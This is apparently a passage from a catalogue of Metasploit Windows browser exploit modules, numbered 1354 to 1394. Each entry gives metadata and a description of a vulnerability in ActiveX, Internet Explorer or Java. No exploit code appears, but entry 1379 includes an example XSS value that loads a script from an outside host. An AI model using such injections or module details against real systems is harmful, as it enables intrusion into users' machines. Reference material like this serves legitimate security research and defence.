       Name: Foxit Reader Plugin URL Processing Buffer Overflow
     Module: exploit/windows/browser/foxit_reader_plugin_url_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-07

Payload information:
  Space: 2000

Description:
  This module exploits a vulnerability in the Foxit Reader Plugin, it 
exists in
  the npFoxitReaderPlugin.dll module. When loading PDF files from 
remote hosts,
  overly long query strings within URLs can cause a stack-based buffer 
overflow,
  which can be exploited to execute arbitrary code. This exploit has 
been tested
  on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 
5.4.4.11281
  (npFoxitReaderPlugin.dll version 2.2.1.530).

End Exploit Number 1354

Begin Exploit Number 1355
       Name: GetGo Download Manager HTTP Response Buffer Overflow
     Module: exploit/windows/browser/getgodm_http_response_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-03-09

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  GetGo Download Manager version 5.3.0.2712 earlier, caused by an
  overly long HTTP response header.

  By persuading the victim to download a file from a malicious server, 
a
  remote attacker could execute arbitrary code on the system or cause
  the application to crash. This module has been tested successfully 
on
  Windows XP SP3.

End Exploit Number 1355

Begin Exploit Number 1356
       Name: GOM Player ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/gom_openurl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-10-27

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in GOM Player 
2.1.6.3499.
  By sending an overly long string to the "OpenUrl()" method located
  in the GomWeb3.dll Control, an attacker may be able to execute
  arbitrary code.

End Exploit Number 1356

Begin Exploit Number 1357
       Name: Green Dam URL Processing Buffer Overflow
     Module: exploit/windows/browser/greendam_url
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-06-11

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in Green Dam 
Youth Escort
  version 3.17 in the way it handles overly long URLs.
  By setting an overly long URL, an attacker can overrun a buffer and 
execute
  arbitrary code. This module uses the .NET DLL memory technique by 
Alexander
  Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.

End Exploit Number 1357

Begin Exploit Number 1358
       Name: Honeywell HSC Remote Deployer ActiveX Remote Code 
Execution
     Module: exploit/windows/browser/honeywell_hscremotedeploy_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-22

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability found in the Honeywell HSC 
Remote Deployer
  ActiveX. This control can be abused by using the LaunchInstaller() 
function to
  execute an arbitrary HTA from a remote location. This module has 
been tested
  successfully with the HSC Remote Deployer ActiveX installed with 
Honeywell EBI
  R410.1.

End Exploit Number 1358

Begin Exploit Number 1359
       Name: Honeywell Tema Remote Installer ActiveX Remote Code 
Execution
     Module: exploit/windows/browser/honeywell_tema_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-20

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability found in the Honeywell Tema 
ActiveX Remote
  Installer.  This ActiveX control can be abused by using the 
DownloadFromURL()
  function to install an arbitrary MSI from a remote location without 
checking source
  authenticity or user notification. This module has been tested 
successfully with
  the Remote Installer ActiveX installed with Honeywell EBI R410.1 - 
TEMA 5.3.0 and
  Internet Explorer 6, 7 and 8 on Windows XP SP3.
```

```
End Exploit Number 1359

Begin Exploit Number 1360
       Name: HP Application Lifecycle Management XGO.ocx ActiveX
SetShapeNodeType() Remote Code Execution
     Module: exploit/windows/browser/hp_alm_xgo_setshapenodetype_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-08-29

Payload information:
  Space: 890
  Avoid: 1 characters

Description:
  This module exploits a vulnerability within the XGO.ocx ActiveX
Control
  installed with the HP Application Lifecycle Manager Client. The
vulnerability
  exists in the SetShapeNodeType method, which allows the user to
specify memory
  that will be used as an object, through the node parameter. It
allows to control
  the dereference and use of a function pointer. This module has been
successfully
  tested with HP Application Lifecycle Manager 11.50 and requires JRE
6 in order to
  bypass DEP and ASLR.

End Exploit Number 1360

Begin Exploit Number 1361
       Name: HP Easy Printer Care XMLCacheMgr Class ActiveX Control
Remote Code Execution
     Module: exploit/windows/browser/hp_easy_printer_care_xmlcachemgr
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-01-11

Payload information:
  Space: 2048

Description:
  This module allows remote attackers to place arbitrary files on a
```

```
users file
  system by abusing the "CacheDocumentXMLWithId" method from the
"XMLCacheMgr"
  class in the HP Easy Printer HPTicketMgr.dll ActiveX Control
(HPTicketMgr.dll
  2.7.2.0).

  Code execution can be achieved by first uploading the payload to the
remote
  machine embeddeding a vbs file, and then upload another mof file,
which enables
  Windows Management Instrumentation service to execute the vbs.
Please note that
  this module currently only works for Windows before Vista.

End Exploit Number 1361

Begin Exploit Number 1362
       Name: HP Easy Printer Care XMLSimpleAccessor Class ActiveX
Control Remote Code Execution
     Module: exploit/windows/browser/
hp_easy_printer_care_xmlsimpleaccessor
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-08-16

Payload information:
  Space: 2048

Description:
  This module allows remote attackers to place arbitrary files on a
users file
  system by abusing via Directory Traversal attack the "saveXML"
method from the
  "XMLSimpleAccessor" class in the HP Easy Printer HPTicketMgr.dll
ActiveX Control
  (HPTicketMgr.dll 2.7.2.0).

  Code execution can be achieved by first uploading the payload to the
remote
  machine embeddeding a vbs file, and then upload another mof file,
which enables Windows
  Management Instrumentation service to execute the vbs. Please note
that this
  module currently only works for Windows before Vista.

End Exploit Number 1362
```

```
Begin Exploit Number 1363
       Name: Persits XUpload ActiveX AddFile Buffer Overflow
     Module: exploit/windows/browser/hp_loadrunner_addfile
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-01-25

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Persits Software 
Inc's
  XUpload ActiveX control(version 3.0.0.3) thats included in HP 
LoadRunner 9.5.
  By passing an overly long string to the AddFile method, an attacker 
may be
  able to execute arbitrary code.

End Exploit Number 1363

Begin Exploit Number 1364
       Name: HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow
     Module: exploit/windows/browser/hp_loadrunner_addfolder
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-12-25

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in Persits Software 
Inc's
  XUpload ActiveX control(version 2.1.0.1) thats included in HP 
LoadRunner 9.0.
  By passing an overly long string to the AddFolder method, an 
attacker may be
  able to execute arbitrary code.

End Exploit Number 1364
```

```
Begin Exploit Number 1365
       Name: HP LoadRunner lrFileIOService ActiveX Remote Code
Execution
     Module: exploit/windows/browser/hp_loadrunner_writefilebinary
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-24

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability on the lrFileIOService ActiveX,
as installed
  with HP LoadRunner 11.50. The vulnerability exists in the
WriteFileBinary method
  where user provided data is used as a memory pointer.  This module
has been tested
  successfully on IE6-IE9 on Windows XP, Vista and 7, using the
LrWebIERREWrapper.dll
  11.50.2216.0. In order to bypass ASLR the no aslr compatible module
msvcr71.dll is
  used. This one is installed with HP LoadRunner.

End Exploit Number 1365

Begin Exploit Number 1366
       Name: HP LoadRunner lrFileIOService ActiveX WriteFileString
Remote Code Execution
     Module: exploit/windows/browser/hp_loadrunner_writefilestring
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-24

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability on the lrFileIOService ActiveX,
as installed
  with HP LoadRunner 11.50. The vulnerability exists in the
WriteFileString method,
  which allow the user to write arbitrary files. It's abused to drop a
```

```
payload
  embedded in a dll, which is later loaded through the Init() method
from the
  lrMdrvService control, by abusing an insecure LoadLibrary call. This
module has
  been tested successfully on IE8 on Windows XP. Virtualization based
on the Low
  Integrity Process, on Windows Vista and 7, will stop this module
because the DLL
  will be dropped to a virtualized folder, which isn't used by
LoadLibrary.

End Exploit Number 1366

Begin Exploit Number 1367
       Name: HP Mercury Quality Center ActiveX Control ProgColor
Buffer Overflow
     Module: exploit/windows/browser/hpmqc_progcolor
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-04-04

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow in
SPIDERLib.Loader
  ActiveX control (Spider90.ocx) 9.1.0.4353 installed by TestDirector
(TD)
  for Hewlett-Packard Mercury Quality Center 9.0 before Patch 12.1,
and
  8.2 SP1 before Patch 32.
  By setting an overly long value to 'ProgColor', an attacker can
overrun
  a buffer and execute arbitrary code.

End Exploit Number 1367

Begin Exploit Number 1368
       Name: Hyleos ChemView ActiveX Control Stack Buffer Overflow
     Module: exploit/windows/browser/hyleos_chemviewx_activex
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2010-02-10

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow within version 
1.9.5.1 of Hyleos
  ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 
'ReadMolFile' methods
  with an overly long first argument, an attacker can overrun a buffer 
and execute
  arbitrary code.

End Exploit Number 1368

Begin Exploit Number 1369
       Name: IBM SPSS SamplePower C1Tab ActiveX Heap Overflow
     Module: exploit/windows/browser/ibm_spss_c1sizer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-04-26

Payload information:
  Space: 991
  Avoid: 1 characters

Description:
  This module exploits a heap based buffer overflow in the C1Tab 
ActiveX control,
  while handling the TabCaption property. The affected control can be 
found in the
  c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. 
This module has
  been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 
on Windows 7
  SP1.

End Exploit Number 1369

Begin Exploit Number 1370
       Name: IBM Tivoli Provisioning Manager Express for Software 
Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow
     Module: exploit/windows/browser/ibm_tivoli_pme_activex_bof
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-03-01

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow vulnerability in the
  Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
  Manager Express for Software Distribution 4.1.1.

  The vulnerability is found in the "RunAndUploadFile" method
  where the "OtherFields" parameter with user controlled data
  is used to build a "Content-Disposition" header and attach
  contents in an insecure way which allows to overflow a buffer
  in the stack.

End Exploit Number 1370

Begin Exploit Number 1371
       Name: IBM Access Support ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/ibmegath_getxmlvalue
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-03-24

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in IBM Access Support.
When
  sending an overly long string to the GetXMLValue() method of
IbmEgath.dll
  (3.20.284.0) an attacker may be able to execute arbitrary code.

End Exploit Number 1371

Begin Exploit Number 1372
       Name: IBM Lotus Domino Web Access Upload Module Buffer Overflow
     Module: exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-12-20

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in IBM Lotus Domino Web 
Access Upload Module.
  By sending an overly long string to the "General_ServerName()" 
property located
  in the dwa7w.dll and the inotes6w.dll control, an attacker may be 
able to execute
  arbitrary code.

End Exploit Number 1372

Begin Exploit Number 1373
       Name: MS13-008 Microsoft Internet Explorer CButton Object Use-
After-Free Vulnerability
     Module: exploit/windows/browser/ie_cbutton_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-12-27

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Microsoft Internet 
Explorer. A
  use-after-free condition occurs when a CButton object is freed, but 
a reference
  is kept and used again during a page reload, an invalid memory 
that's controllable
  is used, and allows arbitrary code execution under the context of 
the user.

    Please note: This vulnerability has been exploited in the wild 
targeting
  mainly China/Taiwan/and US-based computers.
```

```
End Exploit Number 1373

Begin Exploit Number 1374
       Name: MS13-038 Microsoft Internet Explorer CGenericElement
Object Use-After-Free Vulnerability
     Module: exploit/windows/browser/ie_cgenericelement_uaf
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2013-05-03

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Microsoft Internet
Explorer. A
  use-after-free condition occurs when a CGenericElement object is
freed, but a
  reference is kept on the Document and used again during rendering,
an invalid
  memory that's controllable is used, and allows arbitrary code
execution under the
  context of the user.

    Please note: This vulnerability has been exploited in the wild on
2013 May, in
  the compromise of the Department of Labor (DoL) Website.

End Exploit Number 1374

Begin Exploit Number 1375
       Name: MS06-014 Microsoft Internet Explorer COM CreateObject
Code Execution
     Module: exploit/windows/browser/ie_createobject
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-04-11

Payload information:
  Space: 2048

Description:
  This module exploits a generic code execution vulnerability in
```

```
Internet
  Explorer by abusing vulnerable ActiveX objects.

End Exploit Number 1375

Begin Exploit Number 1376
       Name: MS12-063 Microsoft Internet Explorer execCommand Use-
After-Free Vulnerability
     Module: exploit/windows/browser/ie_execcommand_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-09-14

Payload information:

Description:
  This module exploits a vulnerability found in Microsoft Internet
Explorer (MSIE). When
  rendering an HTML page, the CMshtmlEd object gets deleted in an
unexpected manner,
  but the same memory is reused again later in the CMshtmlEd::Exec()
function, leading
  to a use-after-free condition.

  Please note that this vulnerability has been exploited in the wild
since Sep 14 2012.

  Also note that presently, this module has some target dependencies
for the ROP chain to be
  valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by
default).
  For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below
must be installed (which
  is often the case).

End Exploit Number 1376

Begin Exploit Number 1377
       Name: Microsoft Internet Explorer isComponentInstalled Overflow
     Module: exploit/windows/browser/ie_iscomponentinstalled
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-02-24
```

```
Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Internet Explorer.
This bug was
  patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.

End Exploit Number 1377

Begin Exploit Number 1378
       Name: MS13-080 Microsoft Internet Explorer SetMouseCapture Use-
After-Free
     Module: exploit/windows/browser/ie_setmousecapture_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-09-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a use-after-free vulnerability that currents
targets Internet
  Explorer 9 on Windows 7, but the flaw should exist in versions
6/7/8/9/10/11.
  It was initially found in the wild in Japan, but other regions such
as English,
  Chinese, Korean, etc, were targeted as well.

  The vulnerability is due to how the mshtml!CDoc::SetMouseCapture
function handles a
  reference during an event. An attacker first can setup two elements,
where the second
  is the child of the first, and then setup a onlosecapture event
handler for the parent
  element. The onlosecapture event seems to require two setCapture()
calls to trigger,
  one for the parent element, one for the child. When the setCapture()
call for the child
  element is called, it finally triggers the event, which allows the
attacker to cause an
  arbitrary memory release using document.write(), which in particular
frees up a 0x54-byte
  memory.  The exact size of this memory may differ based on the
version of IE. After the
```

```
  free, an invalid reference will still be kept and pass on to more
functions, eventuall
  this arrives in function MSHTML!CTreeNode::GetInterface, and causes
a crash (or arbitrary
  code execution) when this function attempts to use this reference to
call what appears to
  be a PrivateQueryInterface due to the offset (0x00).

  To mimic the same exploit found in the wild, this module will try to
use the same DLL
  from Microsoft Office 2007 or 2010 to leverage the attack.

End Exploit Number 1378

Begin Exploit Number 1379
       Name: Microsoft Internet Explorer Unsafe Scripting
Misconfiguration
     Module: exploit/windows/browser/ie_unsafe_scripting
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2010-09-20

Payload information:

Description:
  This exploit takes advantage of the "Initialize and script ActiveX
controls not
  marked safe for scripting" setting within Internet Explorer.  When
this option is set,
  IE allows access to the WScript.Shell ActiveX control, which allows
javascript to
  interact with the file system and run commands.  This security flaw
is not uncommon
  in corporate environments for the 'Intranet' or 'Trusted Site'
zones.

    When set via domain policy, the most common registry entry to
modify is HKLM\
  Software\Policies\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\1\1201,
  which if set to '0' forces ActiveX controls not marked safe for
scripting to be
  enabled for the Intranet zone.

    This module creates a javascript/html hybrid that will render
correctly either
  via a direct GET http://msf-server/ or as a javascript include, such
```

```
as in:
  http://intranet-server/xss.asp?id="><script%20src=http://
10.10.10.10/ie_unsafe_script.js>
  </script>.

    IE Tabs, WScript and subsequent Powershell prompts all run as x86
even when run from
  an x64 iexplore.exe.

    By default, this module will not attempt to fire against IEs that
come with Protected
  Mode enabled by default, because it can trigger a security prompt.
However, if you are
  feeling brave, you can choose to ignore this restriction by setting
the ALLOWPROMPT
  datastore option to true.

End Exploit Number 1379

Begin Exploit Number 1380
       Name: Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control
     Module: exploit/windows/browser/imgeviewer_tifmergemultifiles
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-03-03

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack based buffer overflow in the Active
control file
  ImageViewer2.OCX by passing an overly long argument to an insecure
TifMergeMultiFiles()
  method. Exploitation results in code execution with the privileges
of the user who
  browsed to the exploit page.

  The victim will first be required to trust the publisher Viscom
Software.
  This module has been designed to bypass DEP and ASLR under XP IE8,
Vista and Win7
  with Java support.

End Exploit Number 1380
```

```
Begin Exploit Number 1381
       Name: InduSoft Web Studio ISSymbol.ocx InternationalSeparator()
Heap Overflow
     Module: exploit/windows/browser/
indusoft_issymbol_internationalseparator
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-28

Payload information:
  Space: 934

Description:
  This module exploits a heap overflow found in InduSoft Web Studio <=
61.6.00.00
  SP6. The overflow exists in the ISSymbol.ocx, and can be triggered
with a long
  string argument for the InternationalSeparator() method of the
ISSymbol control.
  This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.

End Exploit Number 1381

Begin Exploit Number 1382
       Name: IBM Lotus iNotes dwa85W ActiveX Buffer Overflow
     Module: exploit/windows/browser/inotes_dwa85w_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-01

Payload information:
  Space: 978

Description:
  This module exploits a buffer overflow vulnerability on the
UploadControl
  ActiveX. The vulnerability exists in the handling of the
"Attachment_Times"
  property, due to the insecure usage of the _swscanf. The affected
ActiveX is
  provided by the dwa85W.dll installed with the IBM Lotus iNotes
ActiveX installer.

  This module has been tested successfully on IE6-IE9 on Windows XP,
Vista and 7,
  using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.

  In order to bypass ASLR the no aslr compatible module dwabho.dll is
used. This one
  is installed with the iNotes ActiveX.

End Exploit Number 1382

Begin Exploit Number 1383
       Name: Quest InTrust Annotation Objects Uninitialized Pointer
     Module: exploit/windows/browser/intrust_annotatex_add
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2012-03-28

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an uninitialized variable vulnerability in the
  Annotation Objects ActiveX component. The ActiveX component loads
into memory without
  opting into ALSR so this module exploits the vulnerability against
windows Vista and
  Windows 7 targets. A large heap spray is required to fulfill the
requirement that EAX
  points to part of the ROP chain in a heap chunk and the calculated
call will hit the
  pivot in a separate heap chunk. This will take some time in the
users browser.

End Exploit Number 1383

Begin Exploit Number 1384
       Name: Sun Java Web Start BasicServiceImpl Code Execution
     Module: exploit/windows/browser/java_basicservice_impl
   Platform: Java, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-10-12

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in Java Runtime Environment
  that allows an attacker to escape the Java Sandbox. By injecting
  a parameter into a javaws call within the BasicServiceImpl class
  the default java sandbox policy file can be therefore overwritten.
  The vulnerability affects version 6 prior to update 22.

  NOTE: Exploiting this vulnerability causes several sinister-looking
  popup windows saying that Java is "Downloading application."

End Exploit Number 1384

Begin Exploit Number 1385
       Name: Java CMM Remote Code Execution
     Module: exploit/windows/browser/java_cmm
   Platform: Java, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-03-01

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module abuses the Color Management classes from a Java Applet
to run
  arbitrary Java code outside of the sandbox as exploited in the wild
in February
  and March of 2013. The vulnerability affects Java version 7u15 and
earlier and 6u41
  and earlier and has been tested successfully on Windows XP SP3 and
Windows 7 SP1
  systems. This exploit doesn't bypass click-to-play, so the user must
accept the java
  warning in order to run the malicious applet.

End Exploit Number 1385

Begin Exploit Number 1386
       Name: Sun Java Applet2ClassLoader Remote Code Execution
     Module: exploit/windows/browser/java_codebase_trust
   Platform: Java
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2011-02-15

Payload information:
  Space: 20480
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in the Java Runtime Environment
  that allows an attacker to run an applet outside of the Java
Sandbox. When
  an applet is invoked with:

  1. A "codebase" parameter that points at a trusted directory
  2. A "code" parameter that is a URL that does not contain any dots

  the applet will run outside of the sandbox.

  This vulnerability affects JRE prior to version 6 update 24.

End Exploit Number 1386

Begin Exploit Number 1387
       Name: Sun Java Runtime New Plugin docbase Buffer Overflow
     Module: exploit/windows/browser/java_docbase_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-10-12

Payload information:
  Space: 1024
  Avoid: 34 characters

Description:
  This module exploits a flaw in the new plugin component of the Sun
Java
  Runtime Environment before v6 Update 22. By specifying specific
parameters
  to the new plugin, an attacker can cause a stack-based buffer
overflow and
  execute arbitrary code.

  When the new plugin is invoked with a "launchjnlp" parameter, it
will
  copy the contents of the "docbase" parameter to a stack-buffer using
the
  "sprintf" function. A string of 396 bytes is enough to overflow the
```

```
256
  byte stack buffer and overwrite some local variables as well as the
saved
  return address.

  NOTE: The string being copied is first passed through the
"WideCharToMultiByte".
  Due to this, only characters which have a valid localized multibyte
  representation are allowed. Invalid characters will be replaced with
  question marks ('?').

  This vulnerability was originally discovered independently by both
Stephen
  Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing
hasn't
  been done, all versions since version 6 Update 10 are believed to be
affected
  by this vulnerability.

  This vulnerability was patched as part of the October 2010 Oracle
Patch
  release.

End Exploit Number 1387

Begin Exploit Number 1388
       Name: Java MixerSequencer Object GM_Song Structure Handling
Vulnerability
     Module: exploit/windows/browser/java_mixer_sequencer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-03-30

Payload information:
  Space: 8000

Description:
  This module exploits a flaw within the handling of MixerSequencer
objects
  in Java 6u18 and before.

    Exploitation id done by supplying a specially crafted MIDI file
within an RMF
  File. When the MixerSequencer objects is used to play the file, the
GM_Song
  structure is populated with a function pointer provided by a SONG
block in the
```

```
  RMF. A Midi block that contains a MIDI with a specially crafted
controller event
  is used to trigger the vulnerability.

  When triggering the vulnerability "ebx" points to a fake event in
the MIDI file
  which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to
make the
  exploit reliable over java updates.

End Exploit Number 1388

Begin Exploit Number 1389
       Name: Sun Java Web Start Plugin Command Line Argument Injection
     Module: exploit/windows/browser/java_ws_arginject_altjvm
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-04-09

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a flaw in the Web Start plugin component of Sun
Java
  Web Start. The arguments passed to Java Web Start are not properly
validated.
  By passing the lesser known -J option, an attacker can pass
arbitrary options
  directly to the Java runtime. By utilizing the -XXaltjvm option, as
discussed
  by Ruben Santamarta, an attacker can execute arbitrary code in the
context of
  an unsuspecting browser user.

  This vulnerability was originally discovered independently by both
Ruben
  Santamarta and Tavis Ormandy. Tavis reported that all versions since
version
  6 Update 10 "are believed to be affected by this vulnerability."

  In order for this module to work, it must be ran as root on a server
that
  does not serve SMB. Additionally, the target host must have the
WebClient
  service (WebDAV Mini-Redirector) enabled.
```

```
End Exploit Number 1389

Begin Exploit Number 1390
       Name: Sun Java Web Start Double Quote Injection
     Module: exploit/windows/browser/java_ws_double_quote
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-16

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a flaw in the Web Start component of the Sun
Java
  Runtime Environment. Parameters initial-heap-size and max-heap-size
in a JNLP
  file can contain a double quote which is not properly sanitized when
creating
  the command line for javaw.exe. This allows the injection of the
-XXaltjvm
  option to load a jvm.dll from a remote UNC path into the java
process. Thus
  an attacker can execute arbitrary code in the context of a browser
user.
  This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <=
1.7.07.

  In order for this module to work, it must be run as root on a server
that
  does not serve SMB (In most cases, this means non-Windows hosts).
Additionally,
  the target host must have the WebClient service (WebDAV Mini-
Redirector) enabled.
  Alternatively, a UNC path containing a jvm.dll can be specified,
bypassing
  the Windows limitation for the Metasploit host.

End Exploit Number 1390

Begin Exploit Number 1391
       Name: Sun Java Web Start Plugin Command Line Argument Injection
     Module: exploit/windows/browser/java_ws_vmargs
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-02-14

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a flaw in the Web Start component of the Sun 
Java
  Runtime Environment. The arguments passed to Java Web Start are not 
properly
  validated, allowing injection of arbitrary arguments to the JVM.

  By utilizing the lesser known -J option, an attacker can take 
advantage of
  the -XXaltjvm option, as discussed previously by Ruben Santamarta. 
This method
  allows an attacker to execute arbitrary code in the context of an 
unsuspecting
  browser user.

  In order for this module to work, it must be run as root on a server 
that
  does not serve SMB. Additionally, the target host must have the 
WebClient
  service (WebDAV Mini-Redirector) enabled.

End Exploit Number 1391

Begin Exploit Number 1392
       Name: Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control 
Buffer Overflow
     Module: exploit/windows/browser/juniper_sslvpn_ive_setupdll
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-04-26

Payload information:
  Space: 1024
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in the 
JuniperSetupDLL.dll
```

```
  library which is called by the JuniperSetup.ocx ActiveX
control,
  as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
  overly long string to the ProductName object parameter, the stack
  is overwritten.

End Exploit Number 1392

Begin Exploit Number 1393
       Name: Kazaa Altnet Download Manager ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/kazaa_altnet_heap
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-10-03

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the Altnet Download
Manager ActiveX
  Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
  By sending an overly long string to the "Install()" method, an
attacker may be
  able to execute arbitrary code.

End Exploit Number 1393

Begin Exploit Number 1394
       Name: KeyHelp ActiveX LaunchTriPane Remote Code Execution
Vulnerability
     Module: exploit/windows/browser/keyhelp_launchtripane_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-26

Payload information:
